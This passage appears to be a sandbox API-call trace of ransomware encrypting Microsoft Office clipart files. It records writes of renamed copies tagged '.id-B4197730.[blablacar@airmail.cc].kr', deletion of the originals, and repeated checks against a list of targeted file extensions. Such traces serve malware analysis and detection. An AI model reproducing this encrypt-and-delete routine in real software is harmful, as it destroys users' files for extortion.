lpNumberOfBytesWritten=0x38bfc94*=0x1990, lpOverlapped=0x0) returned 1 [0211.945] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.945] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.945] SetEndOfFile (hFile=0x4d8) returned 1 [0211.945] CloseHandle (hObject=0x4d8) returned 1 [0211.945] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.945] SetEndOfFile (hFile=0x564) returned 1 [0211.948] CloseHandle (hObject=0x564) returned 1 [0211.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0211.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.949] lstrlenW (lpString=".doc") returned 4 [0211.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.949] lstrlenW (lpString=".docx") returned 5 [0211.949] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.949] lstrlenW (lpString=".pdf") returned 4 [0211.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.949] lstrlenW (lpString=".xls") returned 4 [0211.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.949] lstrlenW (lpString=".xlsx") returned 5 [0211.949] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.949] lstrlenW (lpString=".ppt") returned 4 [0211.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.949] lstrlenW (lpString=".zip") returned 4 [0211.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.949] lstrlenW (lpString=".rar") returned 4 [0211.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.949] lstrlenW (lpString=".bz2") returned 4 [0211.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString=".7z") returned 3 [0211.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString=".dbf") returned 4 [0211.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString=".1cd") returned 4 [0211.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString=".jpg") returned 4 [0211.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString=".doc") returned 4 [0211.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString=".docx") returned 5 [0211.950] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.950] lstrlenW (lpString=".pdf") returned 4 [0211.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString=".xls") returned 4 [0211.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.950] lstrlenW (lpString=".xlsx") returned 5 [0211.950] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.950] lstrlenW (lpString=".ppt") returned 4 [0211.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.950] lstrlenW (lpString=".zip") returned 4 [0211.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.950] lstrlenW (lpString=".rar") returned 4 [0211.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.950] lstrlenW (lpString=".bz2") returned 4 [0211.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.951] lstrlenW (lpString=".7z") returned 3 [0211.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.951] lstrlenW (lpString=".dbf") returned 4 [0211.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.951] lstrlenW (lpString=".1cd") returned 4 [0211.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0211.951] lstrlenW (lpString=".jpg") returned 4 [0211.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.951] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.951] lstrlenW (lpString="J0107342.WMF") returned 12 [0211.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.952] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4244) returned 1 [0211.952] CloseHandle (hObject=0x564) returned 1 [0211.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0211.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.952] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.952] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.953] GetLastError () returned 0x0 [0211.953] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1094, lpOverlapped=0x0) returned 1 [0212.217] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x10a0, lpOverlapped=0x0) returned 1 [0212.218] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.218] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0212.219] SetEndOfFile (hFile=0x4d8) returned 1 [0212.219] CloseHandle (hObject=0x4d8) returned 1 [0212.219] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.219] SetEndOfFile (hFile=0x564) returned 1 [0212.222] CloseHandle (hObject=0x564) returned 1 [0212.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0212.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.224] lstrlenW (lpString=".doc") returned 4 [0212.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.224] lstrlenW (lpString=".docx") returned 5 [0212.224] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.224] lstrlenW (lpString=".pdf") returned 4 [0212.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString=".xls") returned 4 [0212.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.225] lstrlenW (lpString=".xlsx") returned 5 [0212.225] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.225] lstrlenW (lpString=".ppt") returned 4 [0212.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString=".zip") returned 4 [0212.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.225] lstrlenW (lpString=".rar") returned 4 [0212.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString=".bz2") returned 4 [0212.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString=".7z") returned 3 [0212.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString=".dbf") returned 4 [0212.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString=".1cd") returned 4 [0212.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString=".jpg") returned 4 [0212.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.225] lstrlenW (lpString=".doc") returned 4 [0212.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.225] lstrlenW (lpString=".docx") returned 5 [0212.225] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.226] lstrlenW (lpString=".pdf") returned 4 [0212.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString=".xls") returned 4 [0212.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.226] lstrlenW (lpString=".xlsx") returned 5 [0212.226] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.226] lstrlenW (lpString=".ppt") returned 4 [0212.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.226] lstrlenW (lpString=".zip") returned 4 [0212.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.226] lstrlenW (lpString=".rar") returned 4 [0212.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString=".bz2") returned 4 [0212.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString=".7z") returned 3 [0212.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.226] lstrlenW (lpString=".dbf") returned 4 [0212.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.226] lstrlenW (lpString=".1cd") returned 4 [0212.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0212.226] lstrlenW (lpString=".jpg") returned 4 [0212.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.226] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.226] lstrlenW (lpString="J0107364.WMF") returned 12 [0212.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.228] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16588) returned 1 [0212.228] CloseHandle (hObject=0x564) returned 1 [0212.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0212.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.229] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.229] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0212.230] GetLastError () returned 0x0 [0212.230] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x40cc, lpOverlapped=0x0) returned 1 [0212.232] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x40d0, lpOverlapped=0x0) returned 1 [0212.233] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.233] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0212.233] SetEndOfFile (hFile=0x4d8) returned 1 [0212.233] CloseHandle (hObject=0x4d8) returned 1 [0212.233] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.233] SetEndOfFile (hFile=0x564) returned 1 [0212.236] CloseHandle (hObject=0x564) returned 1 [0212.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0212.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString=".doc") returned 4 [0212.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString=".docx") returned 5 [0212.238] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.238] lstrlenW (lpString=".pdf") returned 4 [0212.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString=".xls") returned 4 [0212.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.238] lstrlenW (lpString=".xlsx") returned 5 [0212.238] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.238] lstrlenW (lpString=".ppt") returned 4 [0212.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString=".zip") returned 4 [0212.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.238] lstrlenW (lpString=".rar") returned 4 [0212.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString=".bz2") returned 4 [0212.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString=".7z") returned 3 [0212.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString=".dbf") returned 4 [0212.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString=".1cd") returned 4 [0212.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString=".jpg") returned 4 [0212.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.239] lstrlenW (lpString=".doc") returned 4 [0212.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString=".docx") returned 5 [0212.239] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.239] lstrlenW (lpString=".pdf") returned 4 [0212.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString=".xls") returned 4 [0212.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.239] lstrlenW (lpString=".xlsx") returned 5 [0212.239] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.239] lstrlenW (lpString=".ppt") returned 4 [0212.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.239] lstrlenW (lpString=".zip") returned 4 [0212.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.239] lstrlenW (lpString=".rar") returned 4 [0212.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString=".bz2") returned 4 [0212.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString=".7z") returned 3 [0212.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.239] lstrlenW (lpString=".dbf") returned 4 [0212.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.239] lstrlenW (lpString=".1cd") returned 4 [0212.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0212.239] lstrlenW (lpString=".jpg") returned 4 [0212.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.240] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.240] lstrlenW (lpString="J0107426.WMF") returned 12 [0212.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.241] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11492) returned 1 [0212.241] CloseHandle (hObject=0x564) returned 1 [0212.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220 [0212.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.242] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.242] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0212.242] GetLastError () returned 0x0 [0212.242] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0212.244] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0212.245] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.245] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, 